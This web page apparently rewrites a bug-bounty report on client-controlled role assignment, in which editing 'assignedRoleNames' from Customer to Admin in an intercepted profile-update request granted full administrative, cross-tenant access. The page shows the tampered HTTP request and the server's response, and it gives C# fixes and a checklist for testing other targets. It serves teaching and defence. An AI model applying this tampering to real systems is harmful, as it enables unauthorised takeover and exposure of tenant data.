Skip to content
Access control Write-up Beginner

Client-Controlled Role Assignment: A Critical Privilege Escalation Vulnerability

The server accepted a role field from a profile update request without checking whether the user was allowed to change it. A standard customer could change their role to Admin and gain full administrative access.

devkumaoni9 Follow

Published on medium.com

Cybersecurity

Dev, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

## Context

The target was a multi-tenant SaaS platform, referred to in the write-up as `target.com` for responsible disclosure. The feature involved is the user profile update endpoint, which lets an authenticated customer change their own profile details. In the normal flow, the client sends a profile update request that includes the user's role assignment alongside their name and user ID, and the server applies the change.

The vulnerability class is client-controlled role assignment: the server accepts role-related fields directly from client requests without proper authorisation validation, so any authenticated user can modify those fields to escalate their privileges. The author notes that this class is often overlooked in code reviews and security testing, and that exploiting it needs no special skills beyond basic request interception.

## Setup

A standard "Customer" account was used during a penetration test on the platform. The only tool named in the report is Burp Suite, used to intercept and modify the profile update request. The report does not give versions, a bounty amount, or a disclosure timeline beyond the article date.

## Finding it

While testing the profile update flow, the researcher observed that the request body carried the user's role assignment as a client-supplied field, `assignedRoleNames`. Because the server accepted this field from the client rather than deriving the role from server-side state, it looked like a candidate for privilege escalation: if the server trusted the value, changing `Customer` to `Admin` would grant administrative access.

## Exploitation

### Step 1: Normal request

A customer updates their profile, and the request carries the role as an array with the normal value:

```http
POST /api/user/profile HTTP/1.1
Host: target.com
Cookie: [AUTHENTICATED_SESSION]
{
    "userId": "2697",
    "name": "John Doe",
    "assignedRoleNames": ["Customer"]  // Normal role
}
```

The important part is `assignedRoleNames`: the role is sent by the client in the request body, not assigned server-side. The session cookie identifies the authenticated customer.

### Step 2: Modified request (attack)

Using Burp Suite, the attacker intercepts the request and changes the role value:

```http
POST /api/user/profile HTTP/1.1
Host: target.com
Cookie: [AUTHENTICATED_SESSION]
{
    "userId": "2697",
    "name": "John Doe",
    "assignedRoleNames": ["Admin"]  // ⚠️ Escalated!
}
```

Only the role array changes; the rest of the request, including the session cookie and user ID, stays the same.

### Step 3: Server accepts the change

The server responds with success and echoes the new role:

```http
HTTP/1.1 200 OK
{
    "result": {
        "id": "2697",
        "roles": ["Admin"],  // �
 Successfully escalated
        "unAuthorizedRequest": false
    }
}
```

The `200 OK` and the `roles` array containing `Admin` show that the server applied the client-supplied role. The `unAuthorizedRequest` flag is `false`, so the server did not treat the change as unauthorised.

### Result

With the role changed, the account had full administrative access, including the user management panel, system configuration, financial dashboards, all tenant data, and cross-tenant resources.

## Root cause

The report lists four root causes:

1. **Trusting client input:** the server assumes the client will restrict the role options.
2. **Poor DTO design:** role fields are included in user-facing requests.
3. **Missing authorisation:** no `[Authorize]` attributes on endpoints.
4. **Lack of validation:** no server-side checks on role changes.

The report does not describe the server-side code that handled the request, so the exact implementation is not shown. The pattern is that the role field was part of the profile update request and the server accepted the client-supplied value.

The report also lists common patterns where this flaw appears:

| Pattern | Example | Risk |
| --- | --- | --- |
| Direct role field | `"role": "admin"` | High |
| Role IDs in forms | `<input name="roleId" value="3">` | High |
| Array of roles | `"roles": ["User", "Editor"]` | Critical |
| Hidden fields | `type="hidden"` | Medium |

## Impact

The report rates the impact areas as follows:

| Impact area | Severity | Consequences |
| --- | --- | --- |
| Data breach | Critical | PII, financial records exposed |
| Account takeover | High | Can modify/delete accounts |
| Financial fraud | Critical | Transactions, invoices manipulated |
| Compliance | High | GDPR, HIPAA, CCPA violations |
| Reputation | Critical | Loss of customer trust |

The report gives a CVSS score of 8.8 (High). The report lists cross-tenant resources and all tenant data among what the escalated account could reach.

## Fix

The report gives four preventive measures.

### 1. Remove role fields from client DTOs

The vulnerable DTO includes the role:

```csharp
public class UpdateProfileDto
{
    public string Name { get; set; }
    public string Role { get; set; }
}
```

The secure version removes it:

```csharp
// �
 SECURE
public class UpdateProfileDto
{
    public string Name { get; set; }
    public string Email { get; set; }
    // No role field
}
```

### 2. Create admin-only endpoints

Role assignment should live on a separate endpoint restricted to administrators:

```csharp
[Authorize(Roles = "Admin")]
[HttpPost("api/admin/users/{userId}/role")]
public async Task<IActionResult> AssignRole(int userId, string role)
{
        await _userService.AssignRole(userId, role);
    return Ok();
}
```

### 3. Always validate server-side

Before a role change is applied, check that the current user is an administrator and that the requested role exists:

```csharp
public async Task<bool> CanChangeRole(User currentUser, string newRole)
{
        if (!await _roleManager.IsAdmin(currentUser))
        return false;

        if (!await _roleManager.RoleExists(newRole))
        return false;
        return true;
}
```

### 4. Audit all role changes

Log every role change with the actor, target, old and new role, timestamp and source address:

```csharp
_auditLogger.Log(new AuditLog
{
    Action = "RoleChanged",
    Actor = currentUser.Id,
    Target = targetUser.Id,
    OldRole = oldRole,
    NewRole = newRole,
    Timestamp = DateTime.UtcNow,
    IPAddress = Request.HttpContext.Connection.RemoteIpAddress
});
```

## Variants to test

The report's testing checklist gives the concrete steps to try on other targets:

1. **Intercept requests containing user data.** Intercept requests containing user data.
2. **Modify role fields in requests.** Modify role fields in requests.
3. **Test role ID manipulation.** Test role ID manipulation.
4. **Check for horizontal and vertical escalation.** Check for horizontal/vertical escalation.
5. **Test admin endpoints after escalation.** Test admin endpoints post-escalation.

The report's pattern table also points at the shapes to look for: a direct `"role": "admin"` field, role IDs in forms such as `<input name="roleId" value="3">`, arrays such as `"roles": ["User", "Editor"]`, and hidden fields of `type="hidden"`.

The report cites OWASP Broken Access Control, CWE-639 (Insecure Direct Object Reference) and the OWASP Insecure Direct Object Reference page as references.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

## What happened, in plain words

A security researcher was testing a website that companies use to run their business online. The site let people create accounts and gave each account a label, called a role, that decided what that person was allowed to do. A normal customer had the role "Customer". An administrator had the role "Admin".

The researcher found that when a customer saved changes to their own profile, their browser sent the role label to the server along with the rest of the details. The server simply believed whatever role label arrived. So the researcher changed the word "Customer" to "Admin" in the request before it reached the server, and the server accepted it. The customer account became an administrator account.

This kind of mistake is called client-controlled role assignment. "Client" means the browser or app on the user's side. "Role assignment" means deciding which label, and therefore which permissions, an account gets. The flaw is that the decision was left to the client instead of being made by the server.

Why it matters: any logged-in user could become an administrator, no special skills were needed beyond intercepting a request, and this kind of mistake is often missed in code reviews and security testing.

## Background you need first

A few everyday ideas make the rest of this easy to follow.

- **Server and client.** The server is the computer that stores the data and makes decisions. The client is the browser on your laptop. When you fill in a form, the client sends a message to the server, and the server replies.
- **API.** An API is the set of addresses a website's own pages use to talk to its server. Think of it as the service counter at a bank: you do not walk into the vault yourself, you hand a request to the counter and it does the work. Here the counter address was `/api/user/profile`, the place where profile updates are handled.
- **Request and response.** A request is the message the client sends ("please save my new name"). A response is the server's reply ("done", or "not allowed").
- **HTTP.** The language these messages are written in. Each request starts with a method such as `POST` (send data), a path such as `/api/user/profile`, and a `Host` line naming the site.
- **Cookie.** A small piece of data the server gives your browser after you log in, and which your browser sends back with every later request so the server knows who you are. It works like a wristband at an event: show it at the door and you get in without proving who you are again. In the examples the cookie is written as `[AUTHENTICATED_SESSION]`, meaning a valid logged-in session.
- **JSON.** A simple text format for structured data, made of names and values in curly braces, like `{"name": "John Doe"}`. It is how the request body carries the profile details.
- **Request body.** The part of the request that carries the actual data, here the JSON with the user's details.
- **Role.** A label attached to an account that decides what it may do. "Customer" can see their own things; "Admin" can manage the whole system.
- **Privilege escalation.** Gaining more permissions than you were given. Vertical escalation means going from a low level to a high level, such as customer to admin. Horizontal escalation means reaching another user's data at the same level.
- **Multi-tenant.** One platform serving many separate companies, called tenants, from the same system. Each tenant should only ever see its own data.
- **Intercepting a request.** Catching a message between your browser and the server, looking at it, changing it, and then letting it continue. The tool named in the report for this is Burp Suite, which acts as a middleman you can pause and edit.
- **Penetration test.** An authorised security assessment, where someone is paid or permitted to attack a system to find its weaknesses before criminals do.

## The target and the feature

The target was a multi-tenant SaaS platform. SaaS means software as a service: the platform runs online and many companies use it at once. The report calls it `target.com` to avoid naming it publicly.

The feature involved is the user profile update endpoint. An endpoint is one specific address on the server that does one job. This one lets a logged-in customer change their own profile details, such as their name.

In the normal flow, the browser sends a profile update request that includes the user's role assignment alongside their name and user ID, and the server applies the change. That last part is the problem: the role travelled from the client to the server as just another field, and the server did not question it.

The researcher used a standard "Customer" account. The report does not give software versions, a bounty amount, or a disclosure timeline beyond the article date.

## Finding it

While testing the profile update flow, the researcher looked at what the request actually contained. The request body carried the user's role assignment as a field supplied by the client, named `assignedRoleNames`.

That is the moment to be suspicious. A role is a permission decision, and permission decisions belong on the server. If the server reads the role from the request instead of looking it up in its own records, then whoever controls the request controls the role. The researcher reasoned that if the server trusted the value, changing `Customer` to `Admin` would grant administrative access. The next steps test that idea.

## Exploitation

### Step 1: The normal request

First, a customer updates their profile in the ordinary way. The request looks like this:

```http
POST /api/user/profile HTTP/1.1
Host: target.com
Cookie: [AUTHENTICATED_SESSION]
{
    "userId": "2697",
    "name": "John Doe",
    "assignedRoleNames": ["Customer"]  // Normal role
}
```

Line by line:

- `POST /api/user/profile HTTP/1.1` says "I am sending data to the profile address, using version 1.1 of HTTP". `POST` is the method used when you submit something.
- `Host: target.com` names the website the request is for. One server can host many sites, so this tells it which one.
- `Cookie: [AUTHENTICATED_SESSION]` is the wristband: proof that this browser is logged in. Without it the server would not know whose profile this is.
- The curly-braced block is the JSON body, the actual data being saved.
- `"userId": "2697"` identifies which account is being updated.
- `"name": "John Doe"` is the new display name.
- `"assignedRoleNames": ["Customer"]` is the role, sent as a list (the square brackets) containing one entry, `Customer`. The comment `// Normal role` marks it as the expected value.

The important part is that last line. The role is being sent by the client in the request body, not assigned by the server from its own records. The session cookie identifies the authenticated customer, but nothing in the request proves the customer is allowed to choose a role.

### Step 2: The modified request

Using Burp Suite, the attacker intercepts the request and changes the role value:

```http
POST /api/user/profile HTTP/1.1
Host: target.com
Cookie: [AUTHENTICATED_SESSION]
{
    "userId": "2697",
    "name": "John Doe",
    "assignedRoleNames": ["Admin"]  // ⚠️ Escalated!
}
```

Line by line:

- The method, address, host and cookie are unchanged. The attacker is still the same logged-in customer; they have not stolen anyone's login.
- `"userId": "2697"` is unchanged, so the request still targets the attacker's own account.
- `"name": "John Doe"` is unchanged.
- `"assignedRoleNames": ["Admin"]` is the only edit: the word `Customer` became `Admin`. The warning comment marks the escalation.

Why do this? Because the whole question is whether the server decides the role or merely repeats what it is told. Changing exactly one value, and nothing else, isolates that question. If the server accepts the change, the role came from the client. If it rejects it, the server was checking somewhere.

### Step 3: The server accepts the change

The server replies with success and echoes the new role:

```http
HTTP/1.1 200 OK
{
    "result": {
        "id": "2697",
        "roles": ["Admin"],  // �
 Successfully escalated
        "unAuthorizedRequest": false
    }
}
```

Line by line:

- `HTTP/1.1 200 OK` is the status line. `200` is the standard code for "it worked". A refusal would normally come back as a `4xx` code such as `403 Forbidden`.
- `"result": { ... }` wraps the server's answer about what it saved.
- `"id": "2697"` confirms which account was changed.
- `"roles": ["Admin"]` shows the role the server now holds for that account. It is `Admin`, the value the client sent.
- `"unAuthorizedRequest": false` is a flag in the response saying the server did not treat the request as unauthorised.

Together, the `200 OK` and the `roles` list containing `Admin` show that the server applied the client-supplied role. The `unAuthorizedRequest` flag being `false` confirms the server saw nothing wrong with the change.

### What the account could then do

With the role changed, the account had full administrative access, including:

- the user management panel
- system configuration
- financial dashboards
- all tenant data
- cross-tenant resources

The last two are the serious ones on a multi-tenant platform. "All tenant data" means every company's data, not just the attacker's own. "Cross-tenant resources" means reaching things that belong to other tenants, which breaks the basic promise of a shared platform.

## Why this happens

The report lists four root causes:

1. **Trusting client input.** The server assumes the client will restrict the role options. In practice anyone can edit a request, so a restriction that lives only in the browser is no restriction at all.
2. **Poor DTO design.** A DTO, or data transfer object, is the shape of the data a request is allowed to carry. Here the role field was included in a user-facing request, so the role became something a user could send.
3. **Missing authorisation.** No `[Authorize]` attributes on endpoints. In the code style used in this report, `[Authorize]` is a label placed above a function that tells the framework to check who is calling before running it. Without it, the function runs for anyone who reaches it.
4. **Lack of validation.** No server-side checks on role changes, meaning nothing compared the requested role against what the caller is permitted to assign.

The report does not describe the server-side code that handled the request, so the exact implementation is not shown. The pattern is that the role field was part of the profile update request and the server accepted the client-supplied value.

### Common shapes of the same mistake

The report lists patterns where this flaw appears:

| Pattern | Example | Risk |
| --- | --- | --- |
| Direct role field | `"role": "admin"` | High |
| Role IDs in forms | `<input name="roleId" value="3">` | High |
| Array of roles | `"roles": ["User", "Editor"]` | Critical |
| Hidden fields | `type="hidden"` | Medium |

A word on the last row: a hidden field is a form input the browser does not display, but it is still in the page and still sent to the server. Hiding something on screen does not protect it; anyone can view or edit the page source.

## Impact

The report rates the impact areas as follows:

| Impact area | Severity | Consequences |
| --- | --- | --- |
| Data breach | Critical | PII, financial records exposed |
| Account takeover | High | Can modify/delete accounts |
| Financial fraud | Critical | Transactions, invoices manipulated |
| Compliance | High | GDPR, HIPAA, CCPA violations |
| Reputation | Critical | Loss of customer trust |

PII means personally identifiable information: names, addresses, and anything else that identifies a real person. GDPR, HIPAA and CCPA are privacy and health-data laws in different regions; a breach can mean legal penalties on top of the technical damage.

The report gives a CVSS score of 8.8 (High). CVSS is a standard 0 to 10 scale for how serious a vulnerability is, combining how easy it is to exploit with how much damage it can do. The report lists cross-tenant resources and all tenant data among what the escalated account could reach.

## How to fix it

The report gives four preventive measures.

### 1. Remove role fields from client DTOs

The vulnerable DTO includes the role:

```csharp
public class UpdateProfileDto
{
    public string Name { get; set; }
    public string Role { get; set; }
}
```

Line by line:

- `public class UpdateProfileDto` declares a class, which is a named bundle of fields describing one kind of data. This one describes a profile update.
- `{` and `}` open and close the bundle.
- `public string Name { get; set; }` says the bundle has a text field called `Name` that can be read and written.
- `public string Role { get; set; }` says it also has a text field called `Role`. That is the field that let the client send a role.

The secure version removes it:

```csharp
// �
 SECURE
public class UpdateProfileDto
{
    public string Name { get; set; }
    public string Email { get; set; }
    // No role field
}
```

Line by line:

- `// �
 SECURE` is a comment marking this as the safe version.
- The class still has `Name`, and now also `Email`, both ordinary profile details a user may change.
- `// No role field` is the point: the role is gone from the shape of the request. If the request cannot carry a role, a user cannot send one. This is the simplest fix, because it removes the possibility rather than trying to police it.

### 2. Create admin-only endpoints

Role assignment should live on a separate endpoint restricted to administrators:

```csharp
[Authorize(Roles = "Admin")]
[HttpPost("api/admin/users/{userId}/role")]
public async Task<IActionResult> AssignRole(int userId, string role)
{
        await _userService.AssignRole(userId, role);
    return Ok();
}
```

Line by line:

- `[Authorize(Roles = "Admin")]` is the label that makes the framework check the caller before running anything below. Only callers with the `Admin` role get through; everyone else is refused.
- `[HttpPost("api/admin/users/{userId}/role")]` says this function answers `POST` requests at that address. `{userId}` is a placeholder for a real user ID in the URL.
- `public async Task<IActionResult> AssignRole(int userId, string role)` declares the function, taking the target user's ID and the role to give them. `async` means it may wait on slower work such as a database call.
- `await _userService.AssignRole(userId, role);` performs the actual role change through a separate service.
- `return Ok();` sends back a success response.

The idea is separation: changing your own name and changing someone's permissions are different jobs, so they get different doors, and only the permissions door is locked to administrators.

### 3. Always validate server-side

Before a role change is applied, check that the current user is an administrator and that the requested role exists:

```csharp
public async Task<bool> CanChangeRole(User currentUser, string newRole)
{
        if (!await _roleManager.IsAdmin(currentUser))
        return false;

        if (!await _roleManager.RoleExists(newRole))
        return false;
        return true;
}
```

Line by line:

- `public async Task<bool> CanChangeRole(User currentUser, string newRole)` declares a function that answers a yes or no question: may this user set this role? It receives the current user and the requested role.
- `if (!await _roleManager.IsAdmin(currentUser))` asks the role manager whether the current user is an administrator. The `!` means "not", so this branch runs when they are not.
- `return false;` refuses the change.
- `if (!await _roleManager.RoleExists(newRole))` checks that the requested role is a real one. This stops someone inventing a role name that the system might treat oddly.
- `return false;` refuses again if the role does not exist.
- `return true;` allows the change only if both checks passed.

The principle is that the server must make the decision itself, every time, no matter what the request claims.

### 4. Audit all role changes

Log every role change with the actor, target, old and new role, timestamp and source address:

```csharp
_auditLogger.Log(new AuditLog
{
    Action = "RoleChanged",
    Actor = currentUser.Id,
    Target = targetUser.Id,
    OldRole = oldRole,
    NewRole = newRole,
    Timestamp = DateTime.UtcNow,
    IPAddress = Request.HttpContext.Connection.RemoteIpAddress
});
```

Line by line:

- `_auditLogger.Log(new AuditLog` starts writing an audit record, which is a permanent note of something important that happened.
- `Action = "RoleChanged"` records what kind of event this is.
- `Actor = currentUser.Id` records who did it.
- `Target = targetUser.Id` records whose account was changed.
- `OldRole = oldRole` and `NewRole = newRole` record the before and after, so the change can be understood later.
- `Timestamp = DateTime.UtcNow` records when, in universal time.
- `IPAddress = Request.HttpContext.Connection.RemoteIpAddress` records where the request came from.

An audit log does not stop an attack, but it makes one visible and reconstructable afterwards. If someone does escalate, you can see it, see how far it went, and undo it.

## Testing checklist

The report's testing checklist gives the concrete steps to try on other targets:

1. **Intercept requests containing user data.** Intercept requests containing user data.
2. **Modify role fields in requests.** Modify role fields in requests.
3. **Test role ID manipulation.** Test role ID manipulation.
4. **Check for horizontal and vertical escalation.** Check for horizontal/vertical escalation.
5. **Test admin endpoints after escalation.** Test admin endpoints post-escalation.

The pattern table above also points at the shapes to look for: a direct `"role": "admin"` field, role IDs in forms such as `<input name="roleId" value="3">`, arrays such as `"roles": ["User", "Editor"]`, and hidden fields of `type="hidden"`.

## References

The report cites these references:

- OWASP Broken Access Control
- CWE-639: Insecure Direct Object Reference
- OWASP Insecure Direct Object Reference

## Glossary

- **API**: the set of addresses a website's own pages use to talk to its server.
- **Audit log**: a permanent record of important events, such as who changed whose role and when.
- **Authentication**: proving who you are, usually by logging in.
- **Authorisation**: deciding what a proven user is allowed to do.
- **`[Authorize]` attribute**: a label in the code that makes the framework check the caller's permissions before running a function.
- **Burp Suite**: a tool that sits between browser and server so requests can be paused, inspected and edited.
- **Client**: the browser or app on the user's side.
- **Client-controlled role assignment**: a flaw where the server accepts the role from the client's request instead of deciding it itself.
- **Cookie**: a small piece of data the server gives the browser at login and the browser sends back on later requests to identify the session.
- **Cross-tenant resources**: data or features belonging to other companies on the same shared platform.
- **CVSS**: a standard 0 to 10 scale for the severity of a vulnerability.
- **DTO (data transfer object)**: the defined shape of the data a request is allowed to carry.
- **Endpoint**: one specific address on a server that performs one job.
- **Hidden field**: a form input that is not displayed but is still present in the page and sent to the server.
- **Horizontal escalation**: reaching another user's data at the same permission level.
- **HTTP**: the language browsers and servers use to exchange requests and responses.
- **Interception**: catching a request between browser and server so it can be read or changed.
- **JSON**: a text format for structured data using names and values in curly braces.
- **Multi-tenant**: one platform serving many separate companies from the same system.
- **Penetration test**: an authorised security assessment that attacks a system to find weaknesses.
- **PII**: personally identifiable information, meaning data that identifies a real person.
- **Privilege escalation**: gaining more permissions than your account was given.
- **Request**: the message the client sends to the server.
- **Request body**: the part of a request that carries the actual data.
- **Response**: the server's reply to a request.
- **Role**: a label on an account that decides what it may do.
- **SaaS**: software as a service, software that runs online and is used by many customers at once.
- **Server**: the computer that stores data and makes the decisions.
- **Session**: the period during which the server recognises you as logged in, tracked by a cookie.
- **Status code**: a number in the response saying what happened, such as `200` for success or `403` for forbidden.
- **Tenant**: one company using a shared multi-tenant platform.
- **Vertical escalation**: going from a lower permission level to a higher one, such as customer to admin.

More by devkumaoni9

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.